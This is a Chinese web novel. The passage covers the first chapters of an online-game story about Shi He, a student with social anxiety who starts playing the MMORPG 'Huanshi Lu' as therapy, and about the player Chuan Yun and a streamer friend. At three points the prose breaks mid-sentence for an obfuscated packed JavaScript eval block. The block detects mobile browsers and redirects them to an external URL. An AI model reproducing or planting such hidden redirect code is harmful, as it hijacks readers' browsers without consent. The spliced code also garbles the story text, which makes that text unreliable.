《离轨[网游]》 1. Chapter·轨道 “哥哥,火车离开轨道会怎么样?” “脱轨吗?” “不是的!我在电视机看过,火车脱轨就会哗啦啦断掉!不是脱轨……是……是……就是离开……” 呜—— 老式绿皮火车扬着汽笛从不远处的山坳驶过。榕城作为交通枢纽城市,轨道随处可见,犹如地铁线路一样错综。 活动治疗室墙上的电子显示屏响起整点播报,时间定格在5月7日12点。显示屏列着1到13号咨询室,都亮着红灯,说明正在“接客”。 一如往常,治疗室东西南北四个角都被占满,凡是能隐藏自己的角落早已被人捷足先登。 时和坐在靠墙的一张椅子上,抱着书包,尽量挡住自己,可还是感觉有几双眼神落在身上。他不自在地躲着眼神,余光瞥见窗边站着一大一小两个背影。 小朋友背着奥特曼书包,看上去不过幼儿园的年龄,坐在男生的臂弯里。由于词汇量有限,正趴在玻璃上手舞足蹈同男生比划着火车和轨道。 “就是、就是火车不在轨道上……离开了……但是没掉下去!” 时和听着描述,内心帮忙补了一句“偏航”。而后,男生也明白了他的意思,顺着比划的动作说:“哥哥知道了,离轨是吗?” 离轨。 一个很新颖的词。 小朋友对“离轨”这个答案很模糊,但想着有“离”字有“轨”字,肯定是这个词。得到满意的答案,他开心直乐。 窗外的汽笛声渐渐远去,人声清晰。男生说着:“那它就会开往另一个地方。” 什么地方?时和在心里问了一句。 小朋友跟着问:“是哪?” 两人都在等着答案。 答案似乎很复杂,时和见那人背影稍稍挺直,换了只手抱着小朋友,又弯腰撑在窗沿上。思考了有一会,男生摇头说:“哥哥不知道,只有开火车的驾驶员知道。” “不知道”算什么回答。时和失望地垂下眼眸。 显示屏三号咨询室的红灯不知何时变了绿。走廊脚步声混杂一道高跟鞋的哒哒声,越走越近,直到窗外响起:“宝贝!这里!” 时和望过去,妈妈站在中间的窗户向她招手。 “快来,时间紧。”妈妈看着表催促道。 活动治疗室放空的一些人因为这两嗓子抬起头,往时和方向打量。时和赶紧收回了望向窗边的目光,头埋得低了些,拉下帽檐起身,大步往门外走。 宴云川回头,只看到一个背书包的背影。 小朋友继续晃着他胳膊讨要解析。宴云川接着刚才的答案补充说:“不过,既然是驾驶员主动离轨,想必那里一定非常漂亮,漂亮到他想去看看。” “漂亮……会有很多蝴蝶吗?” “会有的。” ** 车窗外一只蝴蝶忽闪而过,来不及欣赏,跟着心理卫生医院的大楼一块消失在后视镜里。驾驶位,母亲边飙车边说:“陈医生反馈这次咨询结果不错。” “关于网络游戏社交的辅助治疗方案他跟我沟通了……虽然我不提倡玩游戏,但是特殊情况特殊处理……宝贝玩可以,我们约定好时间。” 母亲濯清,大学毕业就接管家族酒店品牌。 自时和记事起母亲就在路上。一年365天,她能出差300天,剩下65天还要留出一大半时间在家开会。比如现在,她就赶着去临省出差,车开得去试镜速度与激情都能安排上镜头。 至于网络社交方案…… 时和摘下帽子和口罩,手边书包压着一份诊疗单——社交心理障碍。 有时候心理疾病就像感冒似的,来得措不及防。他在操场上着体育课,不知怎的就晕倒了,不知怎的就被诊断成了社交心理障碍。他只是觉得操场上的人都在议论自己,胸口窒息而已。再后来,到了大二,他再也无法集中注意力,走哪都觉得被人议论纷纷,最后因为频繁晕倒休了学。 经过半年治疗,现在虽说不至于在人群中晕倒,但对社交这件事依旧排斥,颇有社交障碍转亚斯伯格症的趋势。心理医生建议他尝试通过网络社交游戏迈出自我圈子,练习社交互动。 濯清还在说着游戏时间:“一天四个小时,不能超过晚上九点,可以吗?” “妈——” 时和想说他不玩游戏也可以,吃药也能治病。 红灯亮起。等红灯的功夫濯清抬手揉着颈椎,叹声道:“等你回学校,妈妈就可以安心出差不用两头跑了。” 那声算不上拒绝的拒绝卡在嘴边。时和点点头:“听妈妈的。”濯清笑着扭头,在红灯倒数时对着时和的脸颊亲了一下,“我们小和最乖了。” “妈,开车呢。” “我的车技你还不放心啊?” 时和也扬了个笑脸:“哪能,妈妈榕城车神,谁来都比不过。” “就会哄我!” ** 工作日道路畅通,不到二十分钟,车便驶进了小区停车场。回到家,濯清拎着早已准备好的行李箱一路巡视。走过书房检查了电脑桌,交代着“看看电脑还缺什么,有缺的跟妈妈说”,时和应声。走到厨房又交代“阿姨还是老样子来煮饭”,时和又应声。 上到温度升温,下到按时吃药。 这些话时和已经听了不下百遍,可濯清依旧说个不停,像是头一回出远门一样。飞奔赶回家的时间全部流逝。直到时和提醒时间,濯清才猛敲脑袋如梦初醒,拖着行李箱风风火火走到门口,送了时和一个临别吻,这才带着恋恋不舍的眼神关上门。 门刚准备合上,没防备地冒出一个头。 “晚上别忘了跟妈妈视频。”濯清说。 时和失笑点着头:“放心吧妈。” 复式空间安静下来,时和站在门口陷入短暂无措。 母亲不在的时候,他每天按照自己定的作息表生活,什么时间起床、什么时间看书、学习、看看电视……井井有条。母亲回家,又按照母亲的作息表来。一来一回,作息被打断,如同被强行推倒的乐高,想拼凑起来不知道从哪下手。 墙上的挂钟指向一点二十分,按理说是午餐时间。桌上摆着阿姨提前准备好的两菜一汤,可时和刚从医院回来,完全没有胃口。他把菜放进冰箱,发消息跟阿姨说了声下午不用来,又坐在餐桌前数秒。这是他整理思绪的一种方式。 数到126下,他想起来。 对了,游戏。 ** 回到书房打开电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546507|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑,时和搜着游戏推荐。 所谓社交游戏,指代时下流行的大型多人在线角色扮演,简称MMORPG。目前最火的一款叫做“幻世录”,目光间都是它的广告,霸占第一个推荐下载位。 “幻世录”这款游戏时和第一次听是在大学宿舍,两个舍友都在玩,他差点儿被带进了坑。想到舍友,时和眼眸暗下来,滚动鼠标,跳过“幻世录”官网。 下一个推荐位是一张动图,充斥着一刀999、足以闪瞎眼的不正经风格,让人望而却步。时和又滑了两个,停在一张精致的建模上。 “无尽之域?” 点进官网页面,一段游戏宣传视频映入眼帘。3D建模人物举着一溜烟的福利礼包,还有世界背景介绍。时和看了眼,“穿越时空裂隙,进入一个充满多元宇宙的无尽世界,每个世界都有独特的规则和挑战……” 好像不错。 等待下载期间,他进入游戏论坛。前脚刚夸,后脚就被论坛直接劝退。 [你游反向优化的技术力绝了!4080显卡玩这游戏风扇转得比我开黑时的嘴还快,知道的以为是奇幻世界,不知道的以为在烤机压力测试!还不如隔壁幻世录!] [战士砍人像刮痧,法师读条时够我泡碗面,奶妈加血效果不如野怪平A,平衡组是让数值策划用脚填的吧?学学幻世录好吗!] [举报外挂三天后收到反馈“经查该玩家操作过于优秀“,你们反外挂系统是倒立做的吗?我再也不喷前妻幻世录了!] …… 幻世录 幻世录 幻世录 要不是下面还有很多类似评论,每个ID都不一样,时和都要怀疑这些人是“幻世录”派来的反串。是游戏就会有褒有贬,可是光贬不褒的还是头一次见。眼看下载条过三分之一,他二话不说点了删除。 对于心理医生的建议,时和是排斥的。他排斥跟人接触,无论是面对面接触还是隔着网络接触,而且他并不认为玩个游戏就能治疗好自己对社交的恐惧和排斥。如果玩个游戏就能治疗他的病,还去什么医院。 正准备从搜索到放弃,濯清来了消息。 [宝贝,阿姨跟我说不用做晚餐?是不舒服吗?] 时和看了眼发给阿姨的消息,才不过十分钟。本想赌一把母亲在路上没那么快看消息,现在看来是赌失败了。他坐直回道:妈,没有不舒服。 濯清直接来了语音。 “妈。” “儿子,不舒服一定不能忍着,妈的时间可以调。” “妈,我很好。中午没什么胃口,菜可以留着晚上吃。”时和解释说。 只是不吃午餐,濯清却急得仿佛时和要晕倒似的,语速都变快许多:“那怎么行!午餐不能少,你两个药都是餐后服用,空腹吃不得胃疼啊?乖,快去,去把午餐吃了。” 知道拗不过濯清,时和简单应下:“好,我等会就去。”濯清说了句“现在”,时和只好起身。 听见椅子的拖拉声,濯清在电话里笑了笑:“对嘛,晚些再让阿姨过去煮饭。” “不用了妈——” “听话,啊。” 三言两语,仿佛华山论剑。时和一下被卸了力道,缴械投降。 2. Chapter·己见 按要求吃了饭,又发了吃药的照片给濯清,时和已经没了找游戏的心思。索性回房间,戴着耳机,拿了本工商管理的书坐在飘窗。 耳机传来喜爱的粤语歌。 这次发给濯清的消息隔了两小时才有回复。歌声变小,赛博风格屏保落在窗帘洒楼的阳光里,打断了时和的专注。 [宝贝,妈妈刚开完运营会。] [在书房看书吗?] [下好了哪款游戏?] [妈妈听他们说游戏要买装备,大概了解了一下,一个月在游戏里要消费上千不等。那我们每个月规划一万做游戏基金,应该够用。] 一万游戏基金?时和怔住。 上一次玩游戏还在初中,玩的也是一款RPG。当时花的最大一笔钱还是用来买一个限定宠物,一只火麒麟,648元,他现在都记得。现在的游戏消费要用万做单位了吗? 不等时和在“金钱贬值太快”、“游戏消费太高”的关系中捋清因果,濯清见他两分钟没有回复,发来一个语音通话邀请。 “妈,”时和调整好耳机音量,“刚看完消息。” 耳机里传来高跟鞋回荡在走廊的声音,脚步得很急,偶尔穿插几声招呼。打过招呼,濯清说回话题:“我听你顾叔叔说他侄子也在玩社交游戏。” “顾叔叔侄子?” 顾泽宸是濯清的助理,时和见过,但是对他侄子没印象。 濯清又跟人打了声招呼,接着说:“高二那年,跟你摔台上那个。年会,不记得啦?” 提到年会,时和想起来了。高二那年寒假母亲带他参加赞助商公司的年会,是有个人,冒冒失失,边后退边跑,结果绊倒音响线,连带绊倒他摔在了台上。当时光记得舞台磕得很痛,也没顾上来者何人,再后来这个冒失鬼就被带走了。 原来冒失鬼是顾泽宸侄子。 “顾叔叔侄子玩什么?”时和翻书慢下来。 濯清回忆着说:“幻世录,我记得是叫这个。” 书页停在中间顿住。 又是幻世录,时和心说有完没完了。 耳机里的声音还在继续,似乎赶时间,恨不得开三倍速:“游戏基金先按照一万拟定,如果有变动再跟妈妈商量,妈妈还有两个会。对了,顾叔叔那个侄子好像是在……长安古韵。服务器,是这么说吧。” 这下时和也没有看书的心思了。 舍友也在长安古韵。 濯清在电话里叫着时和名字,问他听见没有,建议他跟顾叔叔侄子多走动走动,有熟人在她更放心。时和回过神来,放下书,离开飘窗说:“知道了妈。”电话这才放心挂断。 ** 五月初的榕城多雨闷热,往窗外望去,榕树被打湿了“胡须”,雨水顺着密密麻麻的气生根流淌而下,如同老者,亲切地看着路边来往的车辆。 时和关好窗,换掉身上居家服。再次坐到电脑前,他的嘴角不自觉抿起,似乎要面对的不是社交游戏,是洪水猛兽。 如果可以不玩就好了。 有了这个念头,脑子下意识生成解决方案:如果幻世录跟无尽之域一样,全都是负评,就可以发给妈妈。妈妈看见了自然不会让他玩。 说干就干。 时和愉悦地开了电脑,直奔幻世录官网论坛。 可就这么逛了半个钟,他的愉悦慢慢泄了气,嘴角又抿了起来,眼里还有些埋怨。 幻世录负评是有,但更多的像是玩家对这个不争气儿子的期待,像是一种“朽木想雕”的念叨。比如“平衡职业公平性”、“减少时装抽奖”、“增加副本难度”之类,并不想无尽之域,全是谩骂。 他就不信了。 时和很执着,还准备逛下去。倏忽,鼠标浮停在一个帮派宣传视频上。宣传视频跟着一个红色的“热”字,标题是: #红尘紫陌,斜阳暮草长安道,是离人# 柳永的词。 帮派名字用了这首词的名字——引驾行。 点进去,战歌前奏炸响耳机的瞬间,上百名帮众在荒漠战场同步突进。精准卡点的技能连招在刀光剑影中迸发,随着战歌高潮化作漫天星火,恍若热血动漫最终决战的场景突破次元壁扑面而来。 弹幕区沸腾的“卧槽”、“燃爆了”、“不愧是第一帮派”。时和身体不自觉凑近了些,搭在鼠标上的指尖都不自觉跟着节拍颤动起来。 这份颤抖看见服务器名称瞬间冷静。 “怎么又是长安古韵……” 贝克尔效应吗?有完没完了。时和眉头微微蹙起,一瞬而过。他看了眼视频末尾的参演帮众信息,没看到熟悉的昵称,躁闷感才稍微淡化。 正想关掉视频,下一个视频自动连播。 “幻世录”以唐朝为背景。自贞观年间,太极宫承天门地砖渗出黑血,袁天罡布下的三百六十面镇妖幡同时自焚。长安城地脉突然出现「天墟裂隙」,释放出上古《河图》、《洛书》残存灵力,导致时空错位、妖魔现世。 玩家是各方势力的灭妖师。 这款游戏的建模比“无尽之域”更为精细,古城建筑恍若身临其境,时装丰富,所以有很多玩家制作二创视频。 视频播了不下十个。 再然后……幻世录就出现在了下载列表里。 看见下载列表进度条,时和猛地缩手松开鼠标,拖着椅子后退两步,好似鼠标化为游戏里的妖怪要吞人。他眼睫颤出一片阴影,自欺喃喃道:“鼠标先动的手。”任由进度条继续长大。 ** 鼠标动手打开了游戏,动手进入了捏脸界面。 “幻世录”的捏脸系统高度自由,可以对角色的面部特征进行细致调整,还引进了AI文字捏脸、照片捏脸。时和捏脸捏得认真,似乎这张脸跟自己的脸一样重要。 等捏完脸,暮色已至。 手表闹钟响起,提醒他到了晚餐时间。 “这么快。”时和关了提醒,发现已经过去三个半小时。他满脸惊愕,不敢相信自己在第一个环节就用了这么久的时间。 果然论坛帖子诚不我欺! 捏脸是幻世录唯一的拦路石! 眼看与母亲约定的游戏时间还有半小时,时和由精挑细选变成争分夺秒,他果断放弃了瞳色的纠结,点击进入游戏。 长安街的画卷从屏幕左边滚动,出现七个人物,穿着各自的校服,拿着武器,做着待机动作。 左下角弹出系统提示: 【尊敬的捉妖师,如今长安暗涌滔天,请选择一方势力加入,切勿单打独斗。】 看来是要选门派。 时和看着七个精致的建模拿着各自的武器“搔首弄姿”,活像进了窑子。他心说论坛还是不够全面,明明捏脸下面还有一道拦路石。 七真是一个好数字,七个矮人是童话,七个仙女是神话,集齐七颗珠子还可以召唤神龙。 七出现在哪里都好,出现在“幻世录”就变成了选择困难症。时和从没想过玩游戏需要经过这么复杂的流程。记忆中以前进入游戏只有性别和三个职业可选,一览无遗。 鼠标刚从搭弓箭的天翎跳到摇折扇的御风时,闹钟响了。十分钟已经过去。时和刚犯的纠结病被催命似的铃声瞬间治愈。 他甚至顾不上一个个看势力描述,脑海回放着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546508|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方才看过的视频,鼠标从御风嗖一下移到幽篁上,点击确认——幽篁拿的是箜篌,是视频里武器皮肤和技能皮肤最漂亮的一个。 系统弹出新的提示: 【欢迎捉妖师加入“幽篁”】 界面定格在角色能力六边形的分析上。时和这才发现幽篁是治疗师兼辅助,也就是论坛常提到的奶妈。不,奶爸。 奶爸就奶爸,反正也就玩这一阵。 正准备点下一步,阿姨消息弹了出来。 [小和啊,菜和饭都做好了,夫人交代我等你吃了饭再走……] 意思是我在楼下等你。 时和在心里扩充着省略号内容,边起身边打字:现在下来。 ** 走到楼梯口,已经能闻见餐厅的香气。 今天是药膳甲鱼煲。 时和走到餐桌坐下,叫了声:“张阿姨。” 阿姨叫张采纹,是休学那个月来到家里的,因为自己尝试做饭险些烧了厨房。除了母亲,自己这半年接触最多的人便是张采纹。仅仅是接触,保持着能不碰面就不碰面,真碰上了便打个招呼的关系,谈不上熟稔。 譬如现在。 偌大的客厅,两人保持着奇怪的默契。时和坐在餐桌尽头埋头吃饭,张阿姨在厨房做着收尾工作,不用时和寒暄,默契地打包好了自己的晚餐。 张阿姨在的时候时和吃饭很快,不稍三分钟,便风卷残云空了碗。 看着时和把碗放进洗碗机里,张采纹欲言又止,忍了再忍。在时和说完“谢谢张阿姨”后还是没忍住,关切提醒道:“吃饭太快对胃不好。” 时和熟络敷衍:“好的,我下次一定注意。” 临走前,时和又说了句“谢谢”,加上一句“麻烦您了”,逃难似地溜上了楼。只听见厨房一声叹息,时和溜得更快了。伴随着“记得吃药”的提醒关了书房门,点开游戏界面,继续下一步。 本以为选角色已经是最终步骤,没曾想一阵动画过后,又跳出密密麻麻的框。屏幕上方写着新的提示:【请选择服务器。】 时和突然有种吃撑了的胃疼。 捏脸?拦路石?唯一? 论坛的帖子是认真的吗? 今天的游戏时间还剩最后十分钟。眼看进度都到这了,“明天再来”等于前功尽弃。纠结不到半分,时和陷入了“我倒要看它还有多少流程”的执念中。 大多数人的选择困难症都源于时间太多,时间一紧,选择困难就变成了与时间赛跑,唯恐自己跑得太慢。“长安古韵”四个字如同魔音穿耳在脑海里挥之不去,时和的手跟不受控制似的点了进去。 一进去,就是烈火烧城。 页面再次变换:【请捉妖师输入昵称。】 时和表情严肃,一副“我就知道还有”的模样。也不知道是不是被游戏气的,他倒真的有些胃疼,一手按着胃,一手操控鼠标放在输入框上。桌面摆着台历,每一页都有一句语录。今天的语录写着:已见松柏摧为薪,更闻桑田变成海。 已见。 时和在输入框敲下这两个字,按确认时突然跳出弹框——【昵称已被占用,请捉妖师重新输入】 胃更疼了。 改了字,重新输入。时和都做好了二次占用的准备,前后翻着台历,准备找个邪门的备用方案。屏幕倏尔一暗,又如天光骤亮。长安古城如同李白诗下的夜光杯,屹立在屏幕中央。七个势力的捉妖师站在城墙之上,符咒流转,妖纹绮丽。 动画结束,一行字慢慢浮现。 此身长寄盛唐梦,执念千重是归途——天启·幻世录。欢迎捉妖师【己见】踏入盛世大唐。 3. Chapter·川云 卡在约定时间的最后一分钟。 屏幕里,穿着水蓝色新手装的角色站在烈火城墙下,与一位发花白的NPC并肩望着远处宫殿残垣。 时和毫无留恋关了电脑,好似下载“幻世录”的目的就是为了创建账号。任务达成,他哼着歌离开书房,捂着胃,走到楼下接了杯热水。 热水下肚,胃里寒凉的隐痛感开始缓解。 回到房间,离母亲约好的视频通话时间还有半个钟。夜晚微风徐徐带着凉意,几缕风吹散了书房里的争分夺秒的紧张。时和盘缩在飘窗上,捞过桌边平板,点开游戏论坛。 比起游戏,他对玩家视频更感兴趣。 刚休学那会,闲来无事帮母亲的酒店做宣传视频学过两个月剪辑。剪过影视、剪过录像,但是从来没有剪过游戏。他头一回知道,玩游戏还能做剪辑。 论坛页面刷新,一下跳出好几页,不光有玩家自制视频,还有专门的官方视频号。点进官方账号,置顶的帖子是一段PK大赛录屏。 #围观连冠王一挑三极限操作!# 视频是三天前发的。视频里,手摇鎏金扇身着素白长袍的角色站在空地中央,地上躺着两具尸体,独留他一人面对三军。三军左挥锤鞭,右搭弓箭。中央半空,幽篁弹着箜篌,技能泛着水波光纹,一圈一圈漾开,还有幻鲸腾空而起。 果然幽篁的武器和技能最好看。 时和满意继续。 只见鞭随身动,弓箭齐发。场景中央的素白身影突然消失在一阵风中,宛若一条灵蛇,穿梭在红蓝技能之间,靠着技能封锁和走位,狂风精准锁下幽篁。擒贼先擒奶,五年前的规则现在依旧适用。 时和还没正式接触“幻世录”,对于满屏技能晃眼以及身影风骚走位暂时给不出评价。翻着评论,才关注到这个素白长袍的角色以一敌三直到结束,血条都维持在80%,意味着躲掉了所有非指向性技能。那是很厉害了。 弹幕满屏的“川云牛逼”。 时和拉回视频开头,喃喃重复末尾的玩家信息:“川云……”职业御风,控制系输出,服务器长安古韵。 怎么是长安古韵的…… 他望着服务器的名称眉头宛若夹了苍蝇,松不松开都不舒服。视频自动跳转下一个,又是川云。大数据仿佛把他判定成了川云“粉丝”,一个劲的推送。 刚想关掉视频,弹幕飘过连串的“长安古韵前来报到”。时和脑子突然激灵——长安古韵……他选的服务器是什么来着? 屏幕倾斜,顶灯的光倒映在屏幕中央。时和睨着中央白光恢复记忆,顿时汗毛直立。 他是被游戏的妖怪附体了吗? 怎么选了长安古韵? 蹭一下,时和蹦下飘窗,以闪现穿墙的速度往书房冲,想看看能不能删除账号。冲到书房门口,如心有灵犀一般,濯清的视频在这时候打了进来。 书房的门已经推开,柜顶的一点红光如同夜里的猎鹰盯着他。 “妈。”时和合上门,往回走。 濯清很忙,但会挤一切空档时间跟儿子视频,只是每次都是不同的酒店套房。 惯例日常关怀,又说了下开会趣事,濯清问时和:“宝贝去了哪个服务器?是你顾叔叔侄子那个吗?” 时和对母亲说不出谎话。 “暂时是。” 濯清在视频里乐着笑:“是就是,怎么还暂时是。”她调整好按摩枕搭在肩上,“你顾叔叔那个侄子拍胸脯说你会选新服务器,新服务器更有游戏体验。我说‘小和听我的’,他还不信,非说你肯定会偷偷换服务器不告诉我。” 心里那点删号的想法因为一句“小和听我的”被冲散。看着屏幕里濯清的笑容还有肩膀上震颤的按摩枕,时和蜷在飘窗角落说:“妈,我不会骗您的,您不用把别人的话放在心上……也别太累了,空着时间多休息。” “放心,小孩子的话我还能当真?”濯清说,“妈不累,看着宝贝的脸就是最好的休息。” 说是小孩子不当真,可濯清在对面笑得合不拢嘴,连连说要让顾泽宸跟他侄子转述战果。 因为濯清的到来,酒店打起了十二万的精神接待,经理这会还在大堂守岗,根本不敢休息。他们怎么也想不到自家老板会像个小学生一样,在那跟别人家的孩子争上了输赢。 ** 视频掐着九点准时挂断。 当晚,时和做了一个很可怕的梦。梦里舍友抡着锤鞭追着他杀,边杀边喊“还我奖学金”,顾泽宸的侄子在旁边拍手叫好。他往墙上丢轻功,结果技能放歪绊倒了侄子,双双倒在墙边一起被舍友用锤子打成泥。两人的肉泥混着土被装进麻袋里,挂在城墙上供万人丢白菜。 时和是被“砸”醒的。他摸着狂跳不止的心脏,想的第一件事不是游戏不是舍友也不是梦境回顾,而是那个冒失鬼叫什么,昵称是什么,母亲没说。 没说等于不用相处。 想到这,噩梦的后遗症慢慢消失。 六点的榕城已见东方肚白。再睡是睡不着了。带着不用跟冒失鬼寒暄的喜悦,时和翻身下了床,坐在桌前撕下旧版本的生活计划表,开始更新。 每天要留四个小时治病。 要学习。 要出门散步。 … 几点吃饭,几点午休,几点吃药。等一切都安排好,时和这才走到书房打开电脑。 现在是治病时间。 刚进游戏,一片火光扑面而来,界面由彩色变为黑白电视。伴随着遗憾的哀乐,昨天那个头发花白的NPC指责开口:“如今妖怪横行,局势险峻,小友莫要戏耍老夫!回去好好修炼罢!” NPC指责完,屏幕跳出一个选项框:【很遗憾,考验失败,您能力不足以与妖怪抗衡。捉妖师,是否重新来过?】 说是选项,但只有一个按钮。 时和云里雾里按下“是”,画面一瞬又跳转到昨天关机前的城墙下。倏忽间,一只独足青牛身的妖怪从城墙另一面奔跃而过,周身绕着雷霆符文朝他袭来。 屏幕右下角出现一个圆形攻击按钮,外圈进度条很快过半。时和手比脑快,直接点上去。按钮消失,一道青色技能打在独足青牛身上。屏幕右上方又出现两个攻击按钮。 …… 他看明白了,昨天的结束根本不是结束,是下一个试炼环节! 城墙上空黑云聚集盘旋,好似随时可以把长安吞入其中。独足青牛踏地长啸,雷霆从黑云中齐齐而下。屏幕中央出现五线谱和零散的英文字母。 时和张了张嘴。 幽篁的武器还要自己弹?可以换职业吗!这么复杂的初始流程,真的没人喷吗! 来不及思考,琴谱即将消失。他发誓,自己手速从来没有这么快过,八秒连按三十六个字母。 天空黑云消散,时和长吁一气,见屏幕又开始放动画,气岔到一半卡了壳。他屏息望着屏幕,手悬在键盘上,随时做好了战斗准备。 F键都准备按下去了,页面猝不及防跳出新手充值: 【初入大唐,妖邪横行,捉妖师们肩负着守护人间的重任。为了助力各位捉妖师的旅程,《天启·幻世录》首充礼包震撼来袭!首次充值任意金额,即可解锁双倍惊喜,开启你的捉妖传说!】 …… 好想发论坛! ** 论坛每天帖子不断,最新一条是#长安古韵主城二十八线抓十个人变装,送价值300的时装!先到先得!# “幻世录”的新手村在主城长安,玩家进入游戏要由当朝天子授予捉妖师身份令牌。对于此流程,玩家戏称皇帝开光。 因为长安主城地图绚丽,皇宫又是新人必经之地,久而久之,皇宫门口成了最佳挂机点。当前频道每天都在“CPDD”、“徒弟DD”、“师傅DD”、“偷情DD”……好不热闹。 今天周日。星络网咖一间包厢内,林朔野叼着抹茶百奇,两腿盘在电竞椅里,单手按着键盘操纵游戏里的角色,时不时瞥一眼直播间弹幕互 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546509|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动。 “是不是真送时装?宝贝儿你是第一次看我直播吧?可以问问带牌的老粉,包送的!” “有没有内幕?嘿!你也是新粉吧!包随机的!系统技能童叟无欺!” 弹幕飘过几个新人质疑,很快被老粉的“这可是尹川”、“散财区主播又来了”淹没。老粉刷屏,一排排“抽我”跟放炮似的往上冒。 林朔野把百奇叼得跟烟似的。摄像头没开,但他还是对着屏幕抛了个媚眼:“抽你?宝贝儿你名字这么甜我怎么忍心抽你。” 包厢门在一声“名字这么甜”中打开。 宴云川拿着两瓶可乐走进包厢,就听见这骚.货大放厥词。他忍着想抽人的心,哐一声把可乐放桌面上,瞥了眼直播间学着林朔野语气说:“宝贝儿,可乐3块,现金还是微信。” 林朔野忙按掉麦克风,急急转身。 “哥!直播呢!” 宴云川走进去:“在宿舍还不够你浪,大清早就浪到我这。” 弹幕不少老粉听声辨人,知道这是主播的网吧朋友,但还是被那声“宝贝儿”蛊惑,纷纷开玩笑让主播下播换人。 林朔野看了眼弹幕,肝疼。 他开了麦为自己嚷嚷了两句,又关掉麦克风转向宴云川:“这不是给咱网吧赚点外快嘛,嘿嘿。” “少咱,网吧只写了我名字。”宴云川阻止了他的“入股”行为,帮忙扣开可乐,又按着林朔野嘴里没个正形的“烟”奇,强迫他嚼了下去。 “唔——” “烟”奇没了尾,宴云川满意了。 说是给网吧赚外快,但宴云川从没收过林朔野的直播打赏钱,反而因为林朔野经常来网吧帮忙心里过意不去。知道林朔野好心,可他不需要。 拒绝几次失败,宴云川索性免了这位骚浪少年的所有网费,好吃好喝供着,游戏时装一件一件砸,借此还恩情。 屏幕里林朔野的角色站在皇城门口,身上星辰环绕,脚底步步生花,脑袋还染了一个杀马特骚包红,生怕别人看不见他。 他背包里的时装大部分是宴云川送的。 宴云川要送,林朔野就接着。宴云川让他回学校好好学习别瞎掺和网吧的事,林朔野就装傻。 一来二去,宴云川也放弃了让这位少爷“回头是岸改邪归正”的想法,只是免不了年底家庭聚餐要被姑姑翻白眼,觉得自己带坏了她家宝贝疙瘩。 又一根百奇的时间,直播抽选“幸运观众”的时间快到了。林朔野急急喝了口可乐,转身埋进了屏幕准备,就着空档抬头问:“哥,我的海鲜粥呢?” “林少爷,”宴云川端着服务腔开口,“您点的海鲜粥还有二十分钟送到,还请稍等。可乐只此一罐,悠着点喝。”不打扰林朔野,他走出包厢就要关门。 玻璃缝挤出一声呐喊:“哥!我这周赠礼额度还没刷新!等会拿你的账号送一下!” 宴云川竖着食指。 “一次一千。” 这是同意了。 弹幕还在刷“我要看朋友”、“川老板开摄像头啊”等等言论。林朔野开了麦又嘿一声:“只想看我朋友难道不想看我?小爷我在学校可是系草!追求者排六层楼!不信?不信下次我带我舍友来作证!” 弹幕发着想想想、草草草、好好好起哄。 “感谢最爱撸串送的一百个加特林!老板大气!”暖好场子,林朔野笑着说回正题:“我要开始放技能了!各位看官请好叻!” 他操控者角色走到长街中央,按下F。屏幕出现一个圆形法阵,十个冰球往四周散去。 【玩家尹川使用冰魄穿心击中月亮供电不足】 【玩家尹川使用冰魄穿心击中陌槿】 … 地面冰渣消融,留下十个雪人。林朔野滑着系统消息宣布:“好啦好啦,换装名单火热出炉!让我们恭喜以下幸运儿……”他一个一个念着ID,直到最后一个,“已、已……” 已见。 怎么会是已见?! 4. Chapter·拒礼 喇叭响起一阵欢快的“铃儿响叮当”,时和从论坛攻略切回游戏,发现自己的角色变成了半大高的雪人在地上摇摇晃晃,人有些懵。他从皇宫出来,按照任务指引自动寻路,怎么就成雪人了? “幻世录”主城季节随现实季节变动。绿叶成荫的街道,雪人格外显眼。 不光他成了雪人,时和发现周围还有几个跟自己一样的小雪人。有的雪人头顶冒着气泡框,框内三个点陆陆续续变成一段文字: [啊哈哈哈!半年了!尹川啊!我蹲你半年了!你知道这半年我是怎么过的吗!] [感谢川老板二次馈赠,川老板,我要新出的那套绮罗幽梦,谢谢谢谢!] [我昨天才买的新时装!能折现吗!] 冒泡的角色ID旁边挂着等级,都是服务器满级的老玩家。只有两个跟时和一样刚从皇宫出来的三级新人,一样蒙圈,不知所措。而大家口中的“尹川”,正站在人群中央一动不动。 有个新人弱弱发了一句:“这是在做什么?” 当前频道热闹得要炸开了,有恭喜获奖幸运儿的、有痛恨自己没早来的、还有抱怨没有砸到自己心有不甘的。新人ID没有帮派,没有铭牌,消息很快泯于七嘴八舌之中。 过了两分钟,有好心人解答新人问题。 